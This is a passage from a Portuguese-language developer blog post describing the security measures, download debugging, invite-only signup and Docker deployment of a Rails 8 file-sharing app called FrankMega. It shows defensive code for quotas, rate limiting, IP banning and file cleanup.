<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="vi">@shared_file</span><span class="o">.</span><span class="n">content_type</span> <span class="o">=</span> <span class="no">Marcel</span><span class="o">::</span><span class="no">MimeType</span><span class="o">.</span><span class="n">for</span><span class="p">(</span><span class="n">uploaded</span><span class="o">.</span><span class="n">tempfile</span><span class="p">,</span> <span class="nb">name</span><span class="p">:</span> <span class="n">uploaded</span><span class="o">.</span><span class="n">original_filename</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="vi">@shared_file</span><span class="o">.</span><span class="n">file_size</span> <span class="o">=</span> <span class="n">uploaded</span><span class="o">.</span><span class="n">tempfile</span><span class="o">.</span><span class="n">size</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Não confia no <code>Content-Type</code> que o browser envia. O Marcel inspeciona os magic bytes do arquivo pra determinar o tipo real. E o file size vem do tempfile no disco, não do header <code>Content-Length</code> que pode ser forjado.</p>
<h3>Quotas e Disk Usage<span class="hx:absolute hx:-mt-20" id="quotas-e-disk-usage"></span>
    <a href="#quotas-e-disk-usage" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/frankmd/2026/02/screenshot-2026-02-21_16-00-52.png" alt="quota"  loading="lazy" /></p>
<p>Cada usuário tem uma quota de disco (5 GB default, admin pode customizar):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">can_upload?</span><span class="p">(</span><span class="n">file_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">grace</span> <span class="o">=</span> <span class="no">Rails</span><span class="o">.</span><span class="n">application</span><span class="o">.</span><span class="n">config</span><span class="o">.</span><span class="n">x</span><span class="o">.</span><span class="n">security</span><span class="o">.</span><span class="n">disk_quota_grace_bytes</span>
</span></span><span class="line"><span class="cl">  <span class="p">(</span><span class="n">storage_used</span> <span class="o">+</span> <span class="n">file_size</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="p">(</span><span class="n">disk_quota</span> <span class="o">+</span> <span class="n">grace</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Sem quota, um único usuário malicioso enche o disco do servidor. Com o grace buffer de 10%, um upload que passa um pouco do limite é aceito pra não frustrar o usuário no edge case.</p>
<h3>Cleanup Automático<span class="hx:absolute hx:-mt-20" id="cleanup-automático"></span>
    <a href="#cleanup-autom%c3%a1tico" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">CleanupExpiredFilesJob</span> <span class="o">&lt;</span> <span class="no">ApplicationJob</span>
</span></span><span class="line"><span class="cl">  <span class="n">queue_as</span> <span class="ss">:default</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">perform</span>
</span></span><span class="line"><span class="cl">    <span class="no">SharedFile</span><span class="o">.</span><span class="n">inactive</span><span class="o">.</span><span class="n">find_each</span> <span class="k">do</span> <span class="o">|</span><span class="n">shared_file</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">      <span class="n">shared_file</span><span class="o">.</span><span class="n">file</span><span class="o">.</span><span class="n">purge</span> <span class="k">if</span> <span class="n">shared_file</span><span class="o">.</span><span class="n">file</span><span class="o">.</span><span class="n">attached?</span>
</span></span><span class="line"><span class="cl">      <span class="n">shared_file</span><span class="o">.</span><span class="n">destroy</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Roda a cada 15 minutos via Solid Queue. Se ninguém baixou em 24 horas, sumiu. Se bateu o limite de downloads, sumiu. Sem isso, disco do servidor enche e o serviço morre.</p>
<h3>IP Banning Automático<span class="hx:absolute hx:-mt-20" id="ip-banning-automático"></span>
    <a href="#ip-banning-autom%c3%a1tico" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">InvalidHashAccessJob</span> <span class="o">&lt;</span> <span class="no">ApplicationJob</span>
</span></span><span class="line"><span class="cl">  <span class="n">queue_as</span> <span class="ss">:default</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">perform</span><span class="p">(</span><span class="n">ip_address</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">security</span> <span class="o">=</span> <span class="no">Rails</span><span class="o">.</span><span class="n">application</span><span class="o">.</span><span class="n">config</span><span class="o">.</span><span class="n">x</span><span class="o">.</span><span class="n">security</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="k">unless</span> <span class="n">security</span><span class="o">.</span><span class="n">enable_banning</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">cache_key</span> <span class="o">=</span> <span class="s2">&#34;invalid_hash:</span><span class="si">#{</span><span class="n">ip_address</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">count</span> <span class="o">=</span> <span class="no">Rails</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">increment</span><span class="p">(</span><span class="n">cache_key</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="ss">expires_in</span><span class="p">:</span> <span class="mi">1</span><span class="o">.</span><span class="n">hour</span><span class="p">)</span> <span class="o">||</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">count</span> <span class="o">&gt;=</span> <span class="n">security</span><span class="o">.</span><span class="n">max_invalid_hash_attempts</span>
</span></span><span class="line"><span class="cl">      <span class="no">Ban</span><span class="o">.</span><span class="n">ban!</span><span class="p">(</span><span class="n">ip_address</span><span class="p">,</span> <span class="ss">reason</span><span class="p">:</span> <span class="s2">&#34;Repeated invalid download hash access&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">               <span class="ss">duration</span><span class="p">:</span> <span class="n">security</span><span class="o">.</span><span class="n">ban_duration</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="no">Rails</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">delete</span><span class="p">(</span><span class="n">cache_key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Tentou 3 hashes inválidos? Banido por 1 hora. Isso impede enumeração de hashes. Com 24 bytes de entropia (192 bits, 2^192 possibilidades), brute force é computacionalmente inviável, mas a proteção extra não custa nada.</p>
<h3>Rate Limiting em Camadas<span class="hx:absolute hx:-mt-20" id="rate-limiting-em-camadas"></span>
    <a href="#rate-limiting-em-camadas" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O Rack::Attack opera na camada de middleware (antes do Rails processar):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># Login: 5 tentativas por minuto por IP</span>
</span></span><span class="line"><span class="cl"><span class="no">Rack</span><span class="o">::</span><span class="no">Attack</span><span class="o">.</span><span class="n">throttle</span><span class="p">(</span><span class="s2">&#34;logins/ip&#34;</span><span class="p">,</span> <span class="ss">limit</span><span class="p">:</span> <span class="mi">5</span><span class="p">,</span> <span class="ss">period</span><span class="p">:</span> <span class="mi">1</span><span class="o">.</span><span class="n">minute</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">req</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="n">req</span><span class="o">.</span><span class="n">ip</span> <span class="k">if</span> <span class="n">req</span><span class="o">.</span><span class="n">path</span> <span class="o">==</span> <span class="s2">&#34;/session&#34;</span> <span class="o">&amp;&amp;</span> <span class="n">req</span><span class="o">.</span><span class="n">post?</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Login: 5 tentativas por minuto por email</span>
</span></span><span class="line"><span class="cl"><span class="no">Rack</span><span class="o">::</span><span class="no">Attack</span><span class="o">.</span><span class="n">throttle</span><span class="p">(</span><span class="s2">&#34;logins/email&#34;</span><span class="p">,</span> <span class="ss">limit</span><span class="p">:</span> <span class="mi">5</span><span class="p">,</span> <span class="ss">period</span><span class="p">:</span> <span class="mi">1</span><span class="o">.</span><span class="n">minute</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">req</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="n">req</span><span class="o">.</span><span class="n">path</span> <span class="o">==</span> <span class="s2">&#34;/session&#34;</span> <span class="o">&amp;&amp;</span> <span class="n">req</span><span class="o">.</span><span class="n">post?</span>
</span></span><span class="line"><span class="cl">    <span class="n">req</span><span class="o">.</span><span class="n">params</span><span class="o">.</span><span class="n">dig</span><span class="p">(</span><span class="s2">&#34;email_address&#34;</span><span class="p">)</span><span class="o">&amp;.</span><span class="n">to_s</span><span class="o">&amp;.</span><span class="n">downcase</span><span class="o">&amp;.</span><span class="n">strip</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Downloads: 60 views e 30 downloads por minuto</span>
</span></span><span class="line"><span class="cl"><span class="no">Rack</span><span class="o">::</span><span class="no">Attack</span><span class="o">.</span><span class="n">throttle</span><span class="p">(</span><span class="s2">&#34;downloads_get/ip&#34;</span><span class="p">,</span> <span class="ss">limit</span><span class="p">:</span> <span class="mi">60</span><span class="p">,</span> <span class="ss">period</span><span class="p">:</span> <span class="mi">1</span><span class="o">.</span><span class="n">minute</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">req</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="n">req</span><span class="o">.</span><span class="n">ip</span> <span class="k">if</span> <span class="n">req</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">start_with?</span><span class="p">(</span><span class="s2">&#34;/d/&#34;</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">req</span><span class="o">.</span><span class="n">get?</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Geral: 300 requests por 5 minutos (exceto assets)</span>
</span></span><span class="line"><span class="cl"><span class="no">Rack</span><span class="o">::</span><span class="no">Attack</span><span class="o">.</span><span class="n">throttle</span><span class="p">(</span><span class="s2">&#34;requests/ip&#34;</span><span class="p">,</span> <span class="ss">limit</span><span class="p">:</span> <span class="mi">300</span><span class="p">,</span> <span class="ss">period</span><span class="p">:</span> <span class="mi">5</span><span class="o">.</span><span class="n">minutes</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">req</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="n">req</span><span class="o">.</span><span class="n">ip</span> <span class="k">unless</span> <span class="n">req</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">start_with?</span><span class="p">(</span><span class="s2">&#34;/assets&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Sete throttles diferentes pra cenários específicos. Mais o <code>rate_limit</code> do Rails 8 nos controllers. IPs banidos nem chegam ao Rails &ndash; são rejeitados na blocklist do middleware com status 403.</p>
<p>E os limites são configuráveis: em produção é 1x, em desenvolvimento é 10x pra não se trancar durante testes. Tudo centralizado no <code>config/initializers/security.rb</code>.</p>
<h2>A Saga do Download: 5 Commits em 21 Minutos<span class="hx:absolute hx:-mt-20" id="a-saga-do-download-5-commits-em-21-minutos"></span>
    <a href="#a-saga-do-download-5-commits-em-21-minutos" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/frankmd/2026/02/screenshot-2026-02-21_15-31-25.png" alt="download"  loading="lazy" /></p>
<p>Essa parte é divertida porque mostra debugging real. Entre 14:44 e 15:05, eu fiz <strong>5 commits</strong> tentando fazer o download funcionar com Turbo Drive:</p>
<ol>
<li><code>cc3c23d</code> &ndash; Adicionei <code>data-turbo=false</code> no botão de download. <strong>Não funcionou.</strong></li>
<li><code>5224ed2</code> &ndash; Movi <code>data-turbo=false</code> pro <code>&lt;form&gt;</code>. <strong>Não funcionou.</strong></li>
<li><code>98b0d4f</code> &ndash; Abandonei o <code>redirect_to rails_blob_path</code> e usei <code>send_file</code> direto. <strong>Parcialmente funcionou.</strong></li>
<li><code>1fdf5f9</code> &ndash; Troquei de POST pra GET link. Funcionou mas&hellip; bots podem consumir downloads com GET.</li>
<li><code>4c74b27</code> &ndash; Voltei pra POST. Adicionei cleanup de URL artifacts nos filenames.</li>
</ol>
<p>O root cause: o Turbo Drive intercepta navegação agressivamente, e download de arquivo via <code>redirect_to</code> (que gera uma cadeia de 302 redirects do Active Storage) confunde o Turbo. A solução final: <code>send_file</code> direto do disco com <code>disposition: &quot;attachment&quot;</code> via POST com <code>data: { turbo: false }</code> no form.</p>
<p>Esse tipo de problema um LLM não resolve sozinho. Precisa testar no browser real, ver o que acontece, tentar, falhar, ajustar. É desenvolvimento iterativo puro.</p>
<h2>O Gap entre a Ideia e o Produto Final<span class="hx:absolute hx:-mt-20" id="o-gap-entre-a-ideia-e-o-produto-final"></span>
    <a href="#o-gap-entre-a-ideia-e-o-produto-final" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Olha o que o IDEA.md não mencionava e que emergiu durante o desenvolvimento:</p>
<ol>
<li>Per-user disk quotas &ndash; sem isso um usuário enche o disco do server</li>
<li>I18n completo (EN + PT-BR) &ndash; 66 arquivos, ~250 strings extraídas</li>
<li>Terms of Service com aceite obrigatório</li>
<li>User self-deletion &ndash; requisito de privacidade</li>
<li>Blocked downloads de usuários banidos &ndash; seus links retornam 410 Gone</li>
<li>Client-side upload validation &ndash; verifica size, quota e filename antes do upload</li>
<li>Inline file previews &ndash; imagens, vídeo e áudio no download page sem consumir downloads</li>
<li>Styled error pages &ndash; em vez de plain text &ldquo;Not Found&rdquo;, páginas branded com i18n</li>
</ol>
<p>O IDEA.md dizia &ldquo;use activeadmin ou administrate&rdquo;. Na prática construí um admin panel custom com Tailwind porque o <code>administrate</code> tinha problemas de compatibilidade com Rails 8.1. O IDEA.md falava em &ldquo;progress bar se possível&rdquo;. Na prática usei drag-and-drop com preview de arquivo via Stimulus, que é melhor que progress bar.</p>
<p>Ninguém consegue prever todas as features no dia 1. Você descobre requisitos conforme constrói. E cada feature nova traz edge cases que precisam ser tratados.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/frankmd/2026/02/screenshot-2026-02-21_15-32-50.png" alt="pt"  loading="lazy" /></p>
<h2>Os Números<span class="hx:absolute hx:-mt-20" id="os-números"></span>
    <a href="#os-n%c3%bameros" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Ao final do projeto:</p>
<ul>
<li>21 commits em uma sessão de ~3 horas</li>
<li>210 testes (Minitest + FactoryBot), 513 assertions, zero failures</li>
<li>~3.100 linhas de código de aplicação (models, controllers, views, JS, CSS, configs)</li>
<li>~1.965 linhas de testes (incluindo testes de segurança dedicados)</li>
<li>9 models, 20 controllers, 36 views, 9 Stimulus controllers</li>
<li>24 medidas de segurança distintas em 7 camadas</li>
<li>CI: SimpleCov, RuboCop (zero offenses), Brakeman (zero warnings), bundler-audit (zero vulnerabilities)</li>
<li>Zero dependências externas além do SQLite. Sem Redis, sem PostgreSQL, sem serviço de fila externo</li>
</ul>
<h2>O Invitation-Only Server<span class="hx:absolute hx:-mt-20" id="o-invitation-only-server"></span>
    <a href="#o-invitation-only-server" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/frankmd/2026/02/screenshot-2026-02-21_15-31-54.png" alt="invite"  loading="lazy" /></p>
<p>O FrankMega não tem cadastro público. O fluxo é:</p>
<ol>
<li>Na primeira execução, sem nenhum usuário, aparece a tela de setup pra criar o admin</li>
<li>A rota <code>/setup</code> só existe enquanto <code>User.count.zero?</code> &ndash; depois some completamente:</li>
</ol>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">constraints</span><span class="p">(</span><span class="o">-&gt;</span><span class="p">(</span><span class="n">request</span><span class="p">)</span> <span class="p">{</span> <span class="no">User</span><span class="o">.</span><span class="n">count</span><span class="o">.</span><span class="n">zero?</span> <span class="p">})</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  <span class="n">get</span> <span class="s2">&#34;setup&#34;</span><span class="p">,</span> <span class="ss">to</span><span class="p">:</span> <span class="s2">&#34;setup#new&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="n">post</span> <span class="s2">&#34;setup&#34;</span><span class="p">,</span> <span class="ss">to</span><span class="p">:</span> <span class="s2">&#34;setup#create&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<ol start="3">
<li>O admin cria convites no painel admin (com expiração)</li>
<li>Cada convite gera um código único de 16 bytes</li>
<li>Cada código só pode ser usado uma vez (<code>with_lock</code> + transaction pra impedir race condition)</li>
<li>Após cadastrar, o convite é marcado como &ldquo;used&rdquo;</li>
</ol>
<p>Isso é perfeito pra um serviço pessoal/familiar. Controle total de quem acessa.</p>
<h2>Deploy: Docker + Cloudflare Tunnel<span class="hx:absolute hx:-mt-20" id="deploy-docker--cloudflare-tunnel"></span>
    <a href="#deploy-docker--cloudflare-tunnel" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/frankmd/2026/02/screenshot-2026-02-21_15-33-40.png" alt="share"  loading="lazy" /></p>
<p>Pra fechar, o tutorial de deploy, caso queira rodar no seu próprio Home Server Docker. Não é complicado mas tem detalhes que importam.</p>
<h3>O Dockerfile<span class="hx:absolute hx:-mt-20" id="o-dockerfile"></span>
    <a href="#o-dockerfile" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Multi-stage build em 3 estágios:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-dockerfile" data-lang="dockerfile"><span class="line"><span class="cl"><span class="c"># Stage 1: Base (runtime)</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="k">FROM</span><span class="w"> </span><span class="s">ruby:3.4.8-slim</span><span class="w"> </span><span class="k">AS</span><span class="w"> </span><span class="s">base</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="k">RUN</span> apt-get install -y curl libjemalloc2 libvips sqlite3<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="c"># jemalloc pra melhor gerenciamento de memória</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="c"># Stage 2: Build (throwaway)</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="k">FROM</span><span class="w"> </span><span class="s">base</span><span class="w"> </span><span class="k">AS</span><span class="w"> </span><span class="s">build</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="k">RUN</span> apt-get install -y build-essential git libssl-dev<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="c"># Bundle install + asset precompilation com dummy env vars</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="c"># Stage 3: Final</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="c"># Copia gems e app, roda como user não-root (rails:rails, UID 1000)</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="k">CMD</span> <span class="p">[</span><span class="s2">&#34;./bin/thrust&#34;</span><span class="p">,</span> <span class="s2">&#34;./bin/rails&#34;</span><span class="p">,</span> <span class="s2">&#34;server&#34;</span><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O <code>bin/thrust</code> é o Thruster (do Basecamp) &ndash; um proxy HTTP na frente do Puma que faz: gzip/brotli compression, asset caching, X-Sendfile acceleration. Escuta na porta 80, proxeia pro Puma na 3000.</p>
<p>O entrypoint roda <code>db:prepare</code> e <code>db:seed</code> automaticamente no boot:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash -e
</span></span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> <span class="s2">&#34;</span><span class="si">${</span><span class="p">@: -2:</span><span class="nv">1</span><span class="si">}</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;./bin/rails&#34;</span> <span class="o">]</span> <span class="o">&amp;&amp;</span> <span class="o">[</span> <span class="s2">&#34;</span><span class="si">${</span><span class="p">@: -1:</span><span class="nv">1</span><span class="si">}</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;server&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  ./bin/rails db:prepare
</span></span><span class="line"><span class="cl">  ./bin/rails db:seed
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl"><span class="nb">exec</span> <span class="s2">&#34;</span><span class="si">${</span><span class="p">@</span><span class="si">}</span><span class="s2">&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>docker-compose.yml<span class="hx:absolute hx:-mt-20" id="docker-composeyml"></span>
    <a href="#docker-composeyml" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Dois serviços:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">services</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">web</span><span class="p">:</span><span class="w">
